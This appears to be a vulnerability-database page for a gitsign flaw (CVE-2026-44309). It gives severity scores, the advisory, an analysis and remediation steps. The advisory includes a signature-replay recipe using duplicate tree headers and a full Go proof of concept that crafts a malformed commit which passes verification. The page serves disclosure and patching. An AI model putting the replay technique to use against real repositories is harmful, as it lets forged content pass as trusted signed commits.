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gitsign CVE-2026-44309

| EUVDEUVD-2026-30563 MEDIUM
Improper Certificate Validation (CWE-295)
2026-05-08 https://github.com/sigstore/gitsign GHSA-7rmh-48mx-2vwc
5.3
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
5.3 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
vuln.today AI
5.3 MEDIUM

Network vector for remote commit delivery; AC:H for mandatory server-fsck bypass; PR:N because signature replay requires no credential; UI:R because victim must explicitly invoke gitsign verify; I:H for full signature binding nullification; C:N and A:N as no data exposure or denial occurs.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative
Red Hat
5.3 MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 24, 2026 - 00:23 vuln.today
Analysis Generated
Jul 24, 2026 - 00:23 vuln.today
CVE Published
May 08, 2026 - 22:38 nvd
MEDIUM 5.3

DescriptionGitHub Advisory

Summary

gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.

Severity

Medium (CVSS 3.1: 5.7)

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

  • Attack Vector: Network - a malformed commit can be distributed via any accessible git remote
  • Attack Complexity: High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
  • Privileges Required: None - the most impactful form (signature replay) requires no signing key
  • User Interaction: Required - a victim must run gitsign verify on the malformed commit
  • Scope: Unchanged - impact is confined to the repository under verification
  • Confidentiality Impact: None
  • Integrity Impact: High - a verified signature appears to endorse content different from what git-core resolves and presents to users
  • Availability Impact: None

Affected Component

  • internal/commands/verify/verify.go - (o *options).Run (line 75)
  • internal/commands/verify-tag/verify_tag.go - (o *options).Run (line 77)
  • pkg/git/verify.go - ObjectHash (lines 126-158, specifically the commit() round-trip at 161-176)

CWE

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-295: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered)

Description

Root cause: re-encoding instead of raw-byte verification

When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:

go
// internal/commands/verify/verify.go:63-92
c, err := repo.CommitObject(*h)          // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form
    return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)

summary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes

The same pattern appears in verify-tag:

go
// internal/commands/verify-tag/verify_tag.go:76-95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
    return err
}

The loose-parsing assumption in go-git

The codebase itself acknowledges the problem in ObjectHash:

go
// pkg/git/verify.go:137-142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
    encoder, err = commit(obj, sig)

go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves.

Divergent verification paths confirm the inconsistency

The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:

go
// internal/commands/root/verify.go:56-70
detached := len(args) >= 2
if detached {
    data, sig, err = readDetached(s, args...)  // raw bytes from git-core
} else {
    sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding

The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).

Concrete attack: signature replay without a signing key

An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:

tree T1                        ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature over T1 canonical form>
 -----END SIGNED MESSAGE-----

This is Alice's commit.

An attacker crafts a new malformed commit object:

tree T2                        ← attacker's malicious tree (git-core uses this)
tree T1                        ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature - replayed verbatim>
 -----END SIGNED MESSAGE-----

This is Alice's commit.
  • gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."
  • git log / git-core: uses T2 (attacker-controlled content).
  • Rekor lookup: ObjectHash also goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object.

The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.

Proof of Concept

go
// poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go
package main

import (
    "context"
    "crypto"
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "fmt"
    "io"
    "math/big"
    "strings"
    "time"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    "github.com/sigstore/gitsign/internal/signature"
    ggit "github.com/sigstore/gitsign/pkg/git"
)

type identity struct {
    cert *x509.Certificate
    priv crypto.Signer
}

func (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }
func (i *identity) Delete() error                                  { return nil }
func (i *identity) Close()                                         {}

func indentSig(sig string) string {
    sig = strings.TrimSuffix(sig, "\n")
    lines := strings.Split(sig, "\n")
    out := "gpgsig " + lines[0] + "\n"
    for _, ln := range lines[1:] {
        out += " " + ln + "\n"
    }
    return out
}

func main() {
    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    tmpl := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "attacker"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageDigitalSignature,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
        BasicConstraintsValid: true,
    }
    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
    cert, _ := x509.ParseCertificate(rawCert)

    treeFirst  := strings.Repeat("a", 40) // git-core uses this
    treeSecond := strings.Repeat("b", 40) // go-git uses this
    author     := "author Eve <eve@example.com> 1700000000 +0000"
    committer  := "committer Eve <eve@example.com> 1700000000 +0000"
    msg        := "msg\n"

    // Sign the go-git canonical form (second tree only)
    canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
    id := &identity{cert: cert, priv: priv}
    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
    if err != nil {
        panic(err)
    }

    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
    malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)

    st := memory.NewStorage()
    enc := st.NewEncodedObject()
    enc.SetType(plumbing.CommitObject)
    w, _ := enc.Writer()
    _, _ = w.Write([]byte(malformedRaw))
    _ = w.Close()
    c, err := object.DecodeCommit(st, enc)
    if err != nil {
        panic(err)
    }

    // Reproduce what gitsign verify does
    out := new(plumbing.MemoryObject)
    if err := c.EncodeWithoutSignature(out); err != nil {
        panic(err)
    }
    r, _ := out.Reader()
    verifyData, _ := io.ReadAll(r)

    roots := x509.NewCertPool()
    roots.AddCert(cert)
    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)

    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
    rawObj := &plumbing.MemoryObject{}
    rawObj.SetType(plumbing.CommitObject)
    _, _ = rawObj.Write([]byte(malformedRaw))

    fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
    fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
    fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
    fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
    fmt.Println("CERT_VERIFY_ERROR:", verr)           // nil = signature accepted
    fmt.Println("OBJECTHASH_ERROR:", oerr)
    fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
    fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}

Expected output:

FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL:  true
CERT_VERIFY_ERROR:             <nil>          ← signature accepted
OBJECTHASH_ERROR:              <nil>
OBJECTHASH_FROM_VERIFY_DATA:   <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH:     <different hash>   ← hash mismatch confirms split

Impact

  • Signature binding bypass: gitsign verify reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).
  • Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes gitsign verify but points to attacker-controlled content, without possessing any signing key.
  • Rekor tlog inconsistency: ObjectHash also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.
  • Verification path divergence: git verify-commit and gitsign verify reach opposite verdicts for the same malformed commit, undermining auditability.

Recommended Remediation

Option 1: Verify against raw bytes (preferred)

Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:

go
// internal/commands/verify/verify.go - replace lines 63-92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
    return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
    return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
    return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
    return err
}
// data is now the raw bytes without the gpgsig header - identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)

This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.

Option 2: Detect and reject malformed objects

Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:

go
func validateRawCommitFields(data []byte) error {
    seen := map[string]bool{}
    for _, line := range bytes.Split(data, []byte("\n")) {
        if idx := bytes.IndexByte(line, ' '); idx > 0 {
            key := string(line[:idx])
            if seen[key] {
                return fmt.Errorf("malformed commit: duplicate field %q", key)
            }
            seen[key] = true
        }
        if len(line) == 0 {
            break // end of headers
        }
    }
    return nil
}

This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

AnalysisAI

Signature binding bypass in gitsign (versions prior to 0.16.0) allows a crafted malformed git commit to pass gitsign verify while git-core resolves it to entirely different, attacker-controlled content. The tool re-encodes commit objects through go-git's EncodeWithoutSignature before signature verification rather than verifying raw bytes; for commits with duplicate tree headers, go-git silently uses the second tree while git-core uses the first, creating a parsing divergence that an attacker can exploit to replay any existing legitimate signature over a new commit pointing to malicious content - without possessing any signing key. A detailed proof-of-concept is publicly available; no active exploitation is confirmed in CISA KEV, and EPSS sits at 0.02% (5th percentile), reflecting the high attack complexity required.

Technical ContextAI

gitsign is a Sigstore-based keyless git commit signing tool (CPE: pkg:go/github.com/sigstore/gitsign) backed by Fulcio certificate issuance and the Rekor transparency log. The root cause is CWE-347 (Improper Verification of Cryptographic Signature): the gitsign verify and gitsign verify-tag CLI commands call go-git's EncodeWithoutSignature to reconstruct a canonical commit body before passing it to the cryptographic verifier, rather than reading the raw bytes already stored in the git object store. go-git performs loose object parsing and, when encountering a commit with duplicate tree headers, silently discards the first and retains only the second. git-core, by contrast, always uses the first tree header. The result is that the byte sequence over which a signature is verified diverges from the byte sequence git-core uses to resolve the commit's file tree. A secondary CWE-295 (Improper Certificate Validation) applies because a certificate appears to vouch for content it never actually signed. The vulnerability is localized to internal/commands/verify/verify.go:75, internal/commands/verify-tag/verify_tag.go:77, and pkg/git/verify.go:126-176; the git verify-commit integration path already handles raw bytes correctly and is unaffected.

RemediationAI

Upgrade gitsign to version 0.16.0, the vendor-released patch confirmed by both the GHSA advisory (https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc) and the package metadata (fixed in: 0.16.0). The fix changes the verify and verify-tag paths to read raw object bytes directly from the git object store and strip the gpgsig header manually, mirroring the already-correct git verify-commit integration path. For environments that cannot upgrade immediately, the most actionable compensating control is to stop relying on gitsign verify or gitsign verify-tag as security gates for untrusted commits; the git verify-commit path (commandVerify) is unaffected and remains safe. Additionally, enabling server-side fsck checks (receive.fsckObjects=true and fetch.fsckObjects=true) on git servers reduces the attack surface by rejecting malformed objects at ingestion time, though this is not universally supported by all hosting platforms and does not address the underlying verification flaw for objects that do reach the local store.

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Vendor StatusVendor

SUSE

Severity: Medium

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CVE-2026-44309 vulnerability details – vuln.today

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